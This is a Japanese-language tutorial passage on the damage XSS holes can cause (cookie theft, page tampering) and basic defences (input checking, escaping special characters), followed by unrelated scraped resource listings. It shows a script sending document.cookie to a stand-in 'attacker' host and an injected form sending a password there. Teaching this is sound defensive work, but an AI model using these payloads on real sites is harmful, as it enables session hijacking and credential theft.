XSSセキュリティホールによる起こり得る被害
●cookieの盗難
これがXSSの被害としては一般に広く知られている。「document.location="http://attacker/cookie.cgi?
cookie="+document.cookie;」というスクリプトを実行されると、攻撃者サイトのcookie.cgiにユーザーのcookieを
含んだ形でアクセスすることになる。攻撃者サイトのWebサーバのログにも残るだろうし、cookieデータを受けたCGI
ではどんな処理でもできることになる。
cookieに個人情報やセッションIDのような情報だけを格納している場合は、cookieのセッションIDだけでユーザー認
証を行っている場合は危険である。
●ページの改ざん
<form action="regist.cgi">
<input type="hidden" name="sample" value="○○">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
<form action="regist.cgi">
<input type="hidden" name="sample" value=""></form><form action="http://attacker/regist.cgi">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
●HTTPおよびHTML文内の特殊文字の対策
XSS対策の最初の一歩は「入力チェック」
入力チェックの落とし穴
すべてのパラメータをチェックをする
毎回チェックをする
特殊文字のサニタイジング(無害化)
文字をサニタイジングするには、それぞれ「<」「>」「&」に変換する。
分享到:
相关推荐
最新版で学ぶwebpack入门 ICS MEDIA“”のサンプルコード集です。ReactやBabelなど30以上の构成のサンプルを用意しています。 各フォルダーの构成は常に最新を保っているので,安心して参照してくだ...スタイルシート编
GAMP 5 第二版 中英文翻译连载 GAMP 5 第二版是计算机系统验证的国际标准,旨在确保计算机系统的可靠性、安全性和效率。本资源提供了GAMP 5 第二版的中英文翻译连载,涵盖了计算机系统生命周期、质量风险管理、供应...
陶显芳老师的《开关电源设计技巧》连载二pdf,陶显芳老师的《开关电源设计技巧》连载二.pdf
消灭星星游戏程序设计【连载二】——文字和图片的显示
ご発表いただいた资料はOpenStandiaのWebサイトからリンクを贴らせていただく场合があります。ご了承ください。 MongoDB最初の1歩 を一通り読むと良いと思います。とりあえず手を动かしたい人は,のstep01をやってみ...
### 框架设计学习资料连载知识点解析 #### 一、HTML基础知识概览 ##### 1. HTML标签 - **定义**: HTML文档是由一系列的HTML标签组成的,这些标签用于标记文档的不同部分,如文本、图像、链接等。 - **结构**: - ...
在“利用spc3开发智能从站源码讲解(连载一)”中,我们可能已经接触到了一些基础概念和准备工作,如SPC3的功能介绍、从站设备的基本架构以及开发环境的搭建。现在,让我们继续在这个“连载二”中深化对SPC3开发的...
【Android核心基础】是安卓开发入门的重要组成部分,涵盖了Android应用开发的基本概念和技术。在这个主题中,我们将重点关注Android Junit测试框架的使用,它是确保代码质量和稳定性的重要工具。 **1. 测试分类** ...
新飞库电子书连载系统是一款专门针对电子书发布与阅读设计的软件,它为作者提供了便捷的电子书创作、发布和管理平台,同时也为读者提供了丰富的电子书资源和舒适的阅读体验。这款系统的出现,极大地推动了网络文学的...
### 二、Shape Expansion/Contraction 这一功能允许用户轻松地扩展或收缩已存在的形状。操作步骤如下: 1. 首先,确保当前的工作模式为“General Edit”。 2. 接着,选择想要修改的形状,右键点击并选择“Expand/...
1. **数据库基础**:了解数据库的基本概念,如表、字段、记录、索引等。理解关系数据库模型,以及如何通过实体、属性和关系来组织数据。 2. **创建数据库**:学习如何使用Access创建一个新的数据库,包括定义表结构...
流光网络小说连载系统v1.0是一款基于ASP(Active Server Pages)开发的网络文学发布平台,主要用于在线连载和管理小说。ASP是一种由微软公司推出的服务器端脚本环境,允许Web开发者创建动态交互式网页。这个系统的...